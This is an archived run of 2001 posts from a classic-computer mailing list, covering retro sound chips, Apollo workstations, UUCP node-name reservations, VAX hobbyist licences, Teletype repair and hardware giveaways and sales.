John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 19:04:31 2005 Subject: Sound chips In-Reply-To: <1366.564T2250T2785723optimus@canit.se> Message-ID: On 13 Jun 2001 4:38:45 +0100 Iggy Drougge wrote: > For those of you who don't know, the CPC had an AY-3-8910. The same chip > could be found on late Spectrum models and apparently also in the Research > Machines Nimbus. The Atari ST uses a Yamaha clone of the same chip, called > YM2149. I believe that the MSX uses such a chip, too. I think MSX includes the AY-3-8910, yes. So does the Vectrex vector-scan video game console (6809 CPU). I built an AY-3-8910 interface for my trusty UK101 back in about 1981. Bit of a strange bus, since it was designed to work directly with a GE microcontroller. > Another question: The Sega Master System and the BBC use an SN76489 sound > chip. Both the AY/YM chip and the SN one are "PSG" chips. That means that > they've got three square wave channels and a noise channel which may (at least > on the AY/YM) be mixed with the square channels. But are those chips related, > or are they just chips which happen to use the same techniques? Unrelated, as far as I know. Wasn't there an SN76488 sound chip that was analog, as opposed to the digital SN76489? And has enyone ever seen or used the Yamaha FM synthesis chip that was upward compatible with the YM2149? -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From dhquebbeman at theestopinalgroup.com Fri Jun 15 11:38:42 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:31 2005 Subject: Does anyone collect Apollo workstations? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151188@jeffserver.tegjeff.com> > > > Are DN300's or a DN330 of any interest? > > > > > > The DN3XX machines have a nice external drive box that features a half-height > > > 8-inch floppy, probably DSDD. I have a number of these, along with the 8 inch > > > winchester disks. > > > > Aren't they a little old and slow? > > So are most of us on this board. What's your point? My name is Oblio, and I don't have to have a point to have a point. ;-) -dq From mcguire at neurotica.com Fri Jun 15 11:40:26 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:31 2005 Subject: Test In-Reply-To: Test (Zane H. Healy) References: Message-ID: <15146.14970.46041.125112@phaduka.neurotica.com> On June 15, Zane H. Healy wrote: > This is a test message. Trying to find out if my ISP has their DNS back :^( nslookup and dig are you friends, Zane. ;) -Dave McGuire From alex at linuxhacker.org Fri Jun 15 12:14:41 2001 From: alex at linuxhacker.org (Alex Holden) Date: Sun Feb 27 19:04:32 2005 Subject: Does anyone collect Apollo workstations? In-Reply-To: <20010615165436.A959@localhostnl.demon.nl> Message-ID: On Fri, 15 Jun 2001, William Staniewicz wrote: > It would be nice to have AutoCAD. Hopefully, there will be > something cool on one of the 7 machines. I don't think they were used for mechanical CAD, just electronic simulation and PCB design. -- ------- Alex Holden ------- http://www.linuxhacker.org/ http://www.robogeeks.org/ From healyzh at aracnet.com Fri Jun 15 12:21:14 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:32 2005 Subject: Test In-Reply-To: <15146.14970.46041.125112@phaduka.neurotica.com> References: Test (Zane H. Healy) Message-ID: >On June 15, Zane H. Healy wrote: >> This is a test message. Trying to find out if my ISP has their DNS back :^( > > nslookup and dig are you friends, Zane. ;) Doesn't matter if I can't send from my ISP account because aracnet.com didn't exist :^( For that matter, I couldn't receive any either :^( Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From optimus at canit.se Fri Jun 15 06:57:38 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:32 2005 Subject: Interest in UUCP? In-Reply-To: <200106141602.JAA17539@homer.ssl.berkeley.edu> Message-ID: <863.566T1900T7775409optimus@canit.se> Eric J. Korpela skrev: >Does FidoNet still live? I remember the great USENET invasion of the early >1990s, and see claims of 38000 nodes in May '95. I notice ftp.fido.org no >longer exists. To the very best of my knowledge, yes. There is supposed to be a gateway (at least to region 21, or was it 19?) at fidonet.pp.se, for example. I still haven't tried it out, since Usenet is quite a heavy load along with this multitude of mailing lists. -- En ligne avec Thor 2.6a. But a graphical client/server model that slices the interface down some arbitrary middle is like Solomon following through with his child-sharing strategy. The legs, heart, and left eye end up on the server, the arms and lungs go to the client, the head is left rolling around on the floor, and blood spurts everywhere. Don Hopkins - The Unix hater's handbook; The X-Windows disaster From chris at mainecoon.com Fri Jun 15 13:35:11 2001 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 19:04:32 2005 Subject: Orphan TI-99/4A Message-ID: A while back I popped up on the list wondering if someone was missing a TI-99/4A that ended up on my doorstep. Since repeated attempts to reach the shipper (including _sending the damn machine back and having it get bounced back as undeliverable by the Canadian post_) have been for naught, and since nobody has stepped forward to claim that it's theirs, it's officially up for grabs. Included is the machine, a collection of titles, two of the world's smallest joysticks (thumbsticks?) and the incredibly crappy packaging material and well-used box that the thing showed up in. Well, actually, I might have to fix the packaging bits -- I'm not sure anyone --even the USPS -- would accept this box. Available for the cost of shipping. Contact me off list, please... Cheers, Chris. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From Innfogra at aol.com Fri Jun 15 13:44:18 2001 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 19:04:32 2005 Subject: Does anyone collect Apollo workstations? Message-ID: While I don't collect them I really liked the 320 I had. I think they are a cute package. The 320s I had were used as technical documentation workstations. They were plenty fast for this. I sold three to local collectors. I hate to think of the 400 & 6XXs that went through my hands. We bought lots of them from Mentor Graphics about 10 years ago. I sold a lot of parts on the secondary market. One of the local scrappers (Portland, OR) has an Apollo 600 box that he told me to offer to the list. It would have to be palletized to ship. It has no keyboard, monitor or mouse. I can provide more information if anyone is interested. I have an Apollo 570 that I would like to part with. It is the intermediate machine between the 660 line and the 3000 series (550, 570, 580 , etc.) It is a large undercounter cabinet with a 19" monitor, mouse and keyboard. I believe it is a 68020 machine with 1 1/2 meg of Ram. Again I can provide more information if anyone is interested. It was running when put in storage a couple of years ago. It would have to be palletized for shipping, which I can do. Please contact me at Whoagiii@aol.com. I have been busy enough it is difficult to keep up with the list. Paxton Portland, OR -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010615/98c791aa/attachment.html From allain at panix.com Fri Jun 15 13:47:25 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:32 2005 Subject: Does anyone collect Apollo workstations? References: Message-ID: <002701c0f5cb$9f6163e0$21fe54a6@ibm23xhr06> >I don't think they were used for mechanical CAD, just > electronic simulation and PCB design. Calma (GDS,DDM,others) had an Apollo port of DDM (3D mech) to Apollo but it was drowned out by other offerings and was not a major seller. They just might possibly have got out a thousand or two copies, though but my guess would be more like 100 ~ 400. If someone found an Apollo with DDM on it I think I'd go most readily for it. They were fun enough. John A. From ken at seefried.com Fri Jun 15 14:11:30 2001 From: ken at seefried.com (Ken Seefried) Date: Sun Feb 27 19:04:32 2005 Subject: UUCP and Netnews In-Reply-To: <200106151837.NAA23911@opal.tseinc.com> References: <200106151837.NAA23911@opal.tseinc.com> Message-ID: <20010615191130.25701.qmail@mail.seefried.com> >Correct, 4.x. I have the AIX uucp toolkit already installed, but it's not >configured in any way (it calls it Basic Networking Utilities, in typical >Big Blue obfuscation). No...Basic Network Utilities is what AT&T called it, starting long ago. At the time UUCP became common, it *was* the basic network. Ken Seefried, CISSP From mbg at world.std.com Fri Jun 15 14:15:58 2001 From: mbg at world.std.com (Megan) Date: Sun Feb 27 19:04:32 2005 Subject: VAX Hobbyist licenses Message-ID: <200106151915.PAA00348@world.std.com> Encompass also recently sent me a membership ID... however, it appears that the encompass numbers aren't being generated properly... the one I got was already assigned to someone else, who had a DECUS id number (in the meantime I found out my DECUS ID is still around and available, so I reactivated it)... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg KB1FCA | +--------------------------------+-------------------------------------+ From jss at ou.edu Fri Jun 15 14:32:29 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:32 2005 Subject: Orphan TI-99/4A In-Reply-To: References: Message-ID: <992633549.3b2a62cd4f512@email.ou.edu> I'd like to take it. -- Jeffrey S. Sharp jss@ou.edu From jhellige at earthlink.net Fri Jun 15 14:41:43 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:32 2005 Subject: VAX Hobbyist licenses In-Reply-To: <200106151915.PAA00348@world.std.com> References: <200106151915.PAA00348@world.std.com> Message-ID: >Encompass also recently sent me a membership ID... however, it appears >that the encompass numbers aren't being generated properly... the one >I got was already assigned to someone else, who had a DECUS id number >(in the meantime I found out my DECUS ID is still around and available, >so I reactivated it)... Neither my new Encompass number or the old DECUS number work on the Montagar pages. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From ard at p850ug1.demon.co.uk Fri Jun 15 13:20:24 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:32 2005 Subject: Sound chips In-Reply-To: from "Jeff Hellige" at Jun 14, 1 08:55:01 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 986 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010615/9fd349b7/attachment.ksh From pechter at bg-tc-ppp1135.monmouth.com Fri Jun 15 14:52:12 2001 From: pechter at bg-tc-ppp1135.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:32 2005 Subject: Does anyone collect Apollo workstations? In-Reply-To: from Will Jennings at "Jun 15, 2001 10:05:31 am" Message-ID: <200106151952.f5FJqCv26929@bg-tc-ppp1135.monmouth.com> > BLAH! I want every last damn model of Apollo there is! Apart from the HP > 9000's that just say Apollo on them anyway... I've stayed with one of > Apollo's founders and those computers are my dad's favorite of all time... I > especially want a DN10000 though.. > > Will J The most unusual was the relabled (OEM) Alliant FX8 or FX2 machine which was a multiprocessor Minisuper they sold for a while as an Apollo... The head of the company was Craig Mundie (formerly DG) now MicroSoft. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From stefan at softhome.net Fri Jun 15 14:13:35 2001 From: stefan at softhome.net (Stefan) Date: Sun Feb 27 19:04:32 2005 Subject: ASR35 help needed In-Reply-To: References: <5.1.0.14.0.20010614191302.0291e940@pop.softhome.net> Message-ID: <5.1.0.14.0.20010615211033.02a52070@pop.softhome.net> Tony, Its punches all the holes fine, every character has a different hole-pattern :) So than its probably a selector problem, the question now is, where can I find the selector ? You really have to help me here because I have no idea about Teletype's but they are o so cool. (imho I think vintage mechanical equipment is just as cool or even cooler than vintage computers :) Stefan. At 19:25 14-6-01 +0100, you wrote: > > > > I want to get my ASR 35 fixed but I have no idea where to start and also > > have no documentation. > > The problem is that I only have half of the available characters, so until > > the letter K or something everything works fine, but after that it starts > > over with the letter A again. > > > > Anybody any idea what the problem might be here ? > >I don't have the ASR35 manuals (and I know it's very different from the >33 that I do have the service manuals for), but this sounds like one bit >gone missing. Maybe you've got a sticking linkage in the selector >mechanism (or further back in the receiving mechanism). > >To isolate the area, try punching a piece of tape (you did say ASR, >right?). If it punches all bits correctly, then the receive is fine and >you have a selector problem. If one track is punched incorrectly (either >no holes or always holes), then you have a receiver problem. > >-tony From dittman at dittman.net Fri Jun 15 15:06:58 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:32 2005 Subject: VAX Hobbyist licenses In-Reply-To: from "Jeff Hellige" at Jun 15, 2001 03:41:43 PM Message-ID: <200106152006.f5FK6wv20088@narnia.int.dittman.net> > >Encompass also recently sent me a membership ID... however, it appears > >that the encompass numbers aren't being generated properly... the one > >I got was already assigned to someone else, who had a DECUS id number > >(in the meantime I found out my DECUS ID is still around and available, > >so I reactivated it)... > > Neither my new Encompass number or the old DECUS number work > on the Montagar pages. I just tried my DECUS number and it worked. I haven't received an Encompass number. Fortunately, my licenses don't expire for a while, and I have a work-around if they do expire and I can't renew. -- Eric Dittman dittman@dittman.net From geneb at deltasoft.com Fri Jun 15 15:15:43 2001 From: geneb at deltasoft.com (Gene Buckle) Date: Sun Feb 27 19:04:32 2005 Subject: retroarchive.org needs a new home... Message-ID: Hey folks, I've come to the conclusion that I no longer have the time to properly maintain the the retroarchive.org site. I need someone that's willing to take it over and host it. The archive is roughly 650MB in size. If you're interested, please contact me off the list at geneb@deltasoft.com Thanks for your time. g. From chris at mainecoon.com Fri Jun 15 15:20:04 2001 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 19:04:32 2005 Subject: The TI-99/4A... Message-ID: ...has been claimed. Thanks to everyone who was willing to give this thing a good home :-) Cheers, Chris. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From aeb56 at bigfoot.com Fri Jun 15 15:08:17 2001 From: aeb56 at bigfoot.com (Alice Blakeman) Date: Sun Feb 27 19:04:32 2005 Subject: More books on ebay of possible interest to list In-Reply-To: Message-ID: As of this time the off-ebay books are spoken for but the ones on ebay are there to look at and ponder. I'll likely be posting many more sets in the next couple days/weeks. Too much stuff, too little room. -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Russ Blakeman Sent: Thursday, June 14, 2001 10:34 PM To: Classic Computer List Subject: More books on ebay of possible interest to list Set of 7 older programming books - http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1246977576 ==================================================== Also I have a few "odd" books off-ebay - one lot.... GW BASIC and MSDOS softcover books from a Video Technologies 286. One of each, both each baout 280 pages and (c) 1986 Miscrosoft GW-BASIC User's Guide and User's Reference for Phoenix Computer, softcover about 275 pages. 1986 IBM BASIC 3.0 in original slip case box. No software, just manual in 3 ring binder in slip case. Xerox 6060 Family - Operator's Guide to MSDOS. Also in slip case with no software. 1985 IBM Disk Operating System v 3.10 - again in slip case, notebook manual but no software. The set of 6 off-ebay books are together. I need $10 plus USPS for them, either thru Paypal or money order. First come - first serve. Drop me an email direct on these. From rdd at smart.net Fri Jun 15 15:42:09 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:32 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: Message-ID: Wow, what a great announcement! Well done! Count me in as being interested in getting a UUCP connection set up again; not sure which machine I'll choose for this... perhaps my AT&T 3B1 which has HDB UUCP or my old Sun 3/60 which I'd like to bring back to life. Can you kindly reserve the name "mystica" in your UUCP map, which is the name that my machines once used? On Thu, 14 Jun 2001, Anthony Clifton - Retrocomputing.com wrote: > Software, documentation, information, hints, tips, suggestions, > configuration assistance and moral support are all welcome. The best hint that I can think of is to tell you to get the O'Reilly book on UUCP; I found it to be extremely helpful. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From healyzh at aracnet.com Fri Jun 15 15:33:39 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:32 2005 Subject: VAX Hobbyist licenses In-Reply-To: from "Jeff Hellige" at Jun 15, 2001 03:41:43 PM Message-ID: <200106152033.f5FKXdR30376@shell1.aracnet.com> > Neither my new Encompass number or the old DECUS number work > on the Montagar pages. > > Jeff The word on comp.os.vms is that Montagar isn't setup to handle the new Encompass numbers yet, but are working on it. It's disturbing that the old DECUS number working for you. What I don't understand is why they're giving people out new numbers if they already had a DECUS number. Wonder if that will cause problems with Eisner accounts. Zane From ethan_dicks at yahoo.com Fri Jun 15 15:57:07 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:32 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: Message-ID: <20010615205707.36010.qmail@web9504.mail.yahoo.com> --- "R. D. Davis" wrote: > > Wow, what a great announcement! Well done! Count me in as being > interested in getting a UUCP connection set up again; Me, too. > Can you kindly reserve the name "mystica" in your UUCP map, which is > the name that my machines once used? I'd like to keep using "kumiss" - originally an Amiga 1000, later an Amiga 3000, running from c. 1987 through 1996. It will probably be my in-house serial<->Ethernet gateway since I make Amiga products and have lots of spares on the shelf. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From spectre at stockholm.ptloma.edu Fri Jun 15 16:34:40 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:32 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: from "R. D. Davis" at "Jun 15, 1 04:42:09 pm" Message-ID: <200106152134.OAA10196@stockholm.ptloma.edu> > Can you kindly reserve the name "mystica" in your UUCP map, which is > the name that my machines once used? Dibs on "stockholm" when I get this thing running. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- They make a desert and call it peace. -- Tacitus --------------------------- From ken at seefried.com Fri Jun 15 16:52:48 2001 From: ken at seefried.com (Ken Seefried) Date: Sun Feb 27 19:04:32 2005 Subject: Looking for Xylogics 753 and/or =?iso-8859-1?Q?5.25=22?= SMD drives In-Reply-To: <200106151837.NAA23911@opal.tseinc.com> References: <200106151837.NAA23911@opal.tseinc.com> Message-ID: <20010615215248.26099.qmail@mail.seefried.com> Does anyone have a Xylogics 753 VMEbus SMD controller (the 6U size, not the 9U) and/or any 5.25" SMD drives they want to get rid of? I'm doing some NetBSD porting, and they'd help tons in one of my twisted little experiments. Ken Seefried, CISSP From mcguire at neurotica.com Fri Jun 15 17:00:21 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:32 2005 Subject: Looking for Xylogics 753 and/or =?iso-8859-1?Q?5.25=22?= SMD drives In-Reply-To: Looking for Xylogics 753 and/or 5.25" SMD drives (Ken Seefried) References: <200106151837.NAA23911@opal.tseinc.com> <20010615215248.26099.qmail@mail.seefried.com> Message-ID: <15146.34165.436383.50155@phaduka.neurotica.com> On June 15, Ken Seefried wrote: > Does anyone have a Xylogics 753 VMEbus SMD controller (the 6U size, not the > 9U) and/or any 5.25" SMD drives they want to get rid of? I'm doing some > NetBSD porting, and they'd help tons in one of my twisted little > experiments. I should have several XY753s somewhere. I'll have to dig for them. If nobody pipes up and has them on-hand drop me a note. -Dave McGuire From zmerch at 30below.com Fri Jun 15 17:05:38 2001 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 19:04:32 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <200106152134.OAA10196@stockholm.ptloma.edu> References: Message-ID: <3.0.1.32.20010615180538.00b24150@mail.30below.com> Rumor has it that Cameron Kaiser may have mentioned these words: >> Can you kindly reserve the name "mystica" in your UUCP map, which is >> the name that my machines once used? > >Dibs on "stockholm" when I get this thing running. I'd like to reserve "zmerch" as that's been my UserID for nearly 20 years..... ;-) Thanks, and if I ever get the time, I'll set up a node myself... (I run an ISP, but time is usually short...) Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From mbg at world.std.com Fri Jun 15 17:10:54 2001 From: mbg at world.std.com (Megan) Date: Sun Feb 27 19:04:32 2005 Subject: VAX Hobbyist licenses References: <200106151915.PAA00348@world.std.com> Message-ID: <200106152210.SAA22609@world.std.com> I'll have to try montagar.. I haven't, yet... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg KB1FCA | +--------------------------------+-------------------------------------+ From ard at p850ug1.demon.co.uk Fri Jun 15 16:57:04 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:32 2005 Subject: Sound chips In-Reply-To: <002601c0f599$66c594c0$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 15, 1 06:47:56 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 749 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010615/e3727aa4/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jun 15 16:53:04 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:32 2005 Subject: FYI: Digital MINC-23 In-Reply-To: <20010615021354.U32439@tmok.com> from "Brian Hechinger" at Jun 15, 1 02:13:54 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3025 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010615/5589e3cb/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jun 15 17:09:52 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:32 2005 Subject: ASR35 help needed In-Reply-To: <5.1.0.14.0.20010615211033.02a52070@pop.softhome.net> from "Stefan" at Jun 15, 1 09:13:35 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1658 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010615/323cde63/attachment.ksh From Demon02554 at aol.com Fri Jun 15 17:47:39 2001 From: Demon02554 at aol.com (Demon02554@aol.com) Date: Sun Feb 27 19:04:32 2005 Subject: Orphan TI-99/4A Message-ID: where are you located? i might be able to pick it up From Demon02554 at aol.com Fri Jun 15 17:48:14 2001 From: Demon02554 at aol.com (Demon02554@aol.com) Date: Sun Feb 27 19:04:32 2005 Subject: The TI-99/4A... Message-ID: crap....nevermind then From rigdonj at intellistar.net Fri Jun 15 17:50:38 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:32 2005 Subject: New Toy! Message-ID: <5.1.0.14.1.20010615184759.00a112f0@mailhost.intellistar.net> I went scrounging today and found something completely unexpected. An Intel MDS-800! I got the dual 8" disk drive unit, CPU unit and an ICE-80 pod. Unfortunately there was no sign of the manuals or software for it. Does anyone have SW or manuals for this thing? Joe From pechter at bg-tc-ppp462.monmouth.com Fri Jun 15 18:08:34 2001 From: pechter at bg-tc-ppp462.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:32 2005 Subject: Vax/DEC hardware again on Ebay In-Reply-To: from Tony Duell at "Jun 15, 2001 10:53:04 pm" Message-ID: <200106152308.f5FN8YG27639@bg-tc-ppp462.monmouth.com> There's a pallet of DEC Vaxstations plus other similar sized DEC stuff or something on Ebay... Right now it's $250/pallet plus $100 shipping from Houston,TX Recovery? http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1246743978 Anyone have any info on the Decstation * (12) Vax Station 3100 * (8) Vax Station 3100 M76 * (3) Vax Station 3100 M38 * (3) Dec Station 5000/200 * (4) Dec Station 5000/133 * (4) Dec Station 5000/125 * (4) Storage Expansion (I think my two are also available if anyone wants them) * (1) Vax Server 3100 * (1) Info Server 100 Bill From donm at cts.com Fri Jun 15 18:53:47 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:32 2005 Subject: Proteon P4200 and Suminet 3500H/FDDI In-Reply-To: <1174.563T1550T3645279optimus@canit.se> Message-ID: On 12 Jun 2001, Iggy Drougge wrote: > Don Maslin skrev: > > >On Sat, 9 Jun 2001, Brian Hechinger wrote: > > >> well, hmmmmm. i've tried a handful of rates/settings and haven't come up > >> with much, tried straight through and roll-over, nothing works for me. if > >> it's in japanese i have no idea what to expect output to look like on a non > >> japanese terminal (if i added japanese support to solaris would tip be able > >> to take advantage of that??) i can plug the thing in and show you the > >> garbage i get at 9600 8n1 if you'd like. > > >I would rather expect it to look a lot like the Chinese spam that we see > >from Hong Kong and Taiwan occasionally. There is considerable > >similarity in their characters. > > I don't agree. The Chinese charsets which I've seen (there are of course > several) do not particularly look like Japanese ones when viewed on an 8-bit > terminal. Chinese tends to stay primarily within the visible upper 128 > characters, whereas Japanese mostly renders as a lot of "square" characters. > I can quite easily see the difference between Japanese and Chinese without any > 16-bit rendering software. I'll take your word for it, as I have never made such a study. - don > -- > En ligne avec Thor 2.6a. > > The generation of random numbers is too important to be left to chance. > > From xds_sigma7 at hotmail.com Fri Jun 15 18:57:35 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:04:32 2005 Subject: Does anyone collect Apollo workstations? Message-ID: Uh, they were used a lot for mechanical CAD... my dad's company's main product was mechanical CAD based on Apollos, screw that AutoDesk crapola... Never heard of Auto-Trol? Will J _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From jss at ou.edu Fri Jun 15 19:54:52 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:32 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <20010615205707.36010.qmail@web9504.mail.yahoo.com> References: <20010615205707.36010.qmail@web9504.mail.yahoo.com> Message-ID: <992652892.3b2aae5c20eed@email.ou.edu> Quoting Ethan Dicks : > > Can you kindly reserve the name "mystica" in your UUCP map > > I'd like to keep using "kumiss" Please give me "lepton". I've never even *used* UUCP before, but darnit, this will be fun and educational. -- Jeffrey S. Sharp jss@ou.edu From dittman at dittman.net Fri Jun 15 20:34:29 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:32 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <992652892.3b2aae5c20eed@email.ou.edu> from "Jeffrey S. Sharp" at Jun 15, 2001 07:54:52 PM Message-ID: <200106160134.f5G1YTr21123@narnia.int.dittman.net> > > > Can you kindly reserve the name "mystica" in your UUCP map > > > > I'd like to keep using "kumiss" > > Please give me "lepton". I've never even *used* UUCP before, but > darnit, this will be fun and educational. I'd like "narnia", which is my old UUCP node name. -- Eric Dittman dittman@dittman.net From spectre at stockholm.ptloma.edu Fri Jun 15 21:01:26 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:32 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <992652892.3b2aae5c20eed@email.ou.edu> from "Jeffrey S. Sharp" at "Jun 15, 1 07:54:52 pm" Message-ID: <200106160201.TAA09542@stockholm.ptloma.edu> > > > Can you kindly reserve the name "mystica" in your UUCP map > > > > I'd like to keep using "kumiss" > > Please give me "lepton". I've never even *used* UUCP before, but > darnit, this will be fun and educational. I think there's a lot of us in this boat, who could benefit from the experience and fun of going "forward into the past" (tm, Firesign Theatre). Help appreciated (tip of the hat to Frank who has been trying to get me started). -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Why, I'd horsewhip you if I had a horse! -- Groucho Marx ------------------- From foo at siconic.com Fri Jun 15 20:26:35 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:32 2005 Subject: New Toy! In-Reply-To: <5.1.0.14.1.20010615184759.00a112f0@mailhost.intellistar.net> Message-ID: On Fri, 15 Jun 2001, joe wrote: > I went scrounging today and found something completely unexpected. > An Intel MDS-800! I got the dual 8" disk drive unit, CPU unit and an > ICE-80 pod. Unfortunately there was no sign of the manuals or software > for it. Does anyone have SW or manuals for this thing? Damn nice score. Tony should have/know everything you need to. I have boot disks and manuals for later machines (MDS-225, which I'm currently trying to get up and running for a project I'm working on...comes up but won't boot from the 8" floppy and I'm missing my keyboard) but nothing specifically on the 800 (that I know of). My MDS-800 is in poor shape. It's missing the top cover and part of the front facade is bent/broken. I plan to restore the front eventually as these are quite rare. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From rhblake at bigfoot.com Fri Jun 15 21:56:59 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:32 2005 Subject: Koala pad Q Message-ID: Just got a new-in-box Koala touch pad for a C64 - anyone ever use one on a 128D ? I have a 64, 64C, 128 and 128D but I am going to thin the collection out to tjust the 128D and hopefully I can use this with it and not have to hang onto the 64 to keep using the pad. From jhellige at earthlink.net Fri Jun 15 23:10:19 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:32 2005 Subject: Koala pad Q In-Reply-To: References: Message-ID: >Just got a new-in-box Koala touch pad for a C64 - anyone ever use one on a >128D ? I have a 64, 64C, 128 and 128D but I am going to thin the collection >out to tjust the 128D and hopefully I can use this with it and not have to >hang onto the 64 to keep using the pad. I would think it'd work fine. Nearly all the C64 carts I've tried with the 128D have worked. The main exception is the CP/M cart. But if you're on a C128, who needs it anyway. I've used the Koala on my Atari 8bits but have never had the Commodore version. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From optimus at canit.se Fri Jun 15 14:47:14 2001 From: optimus at 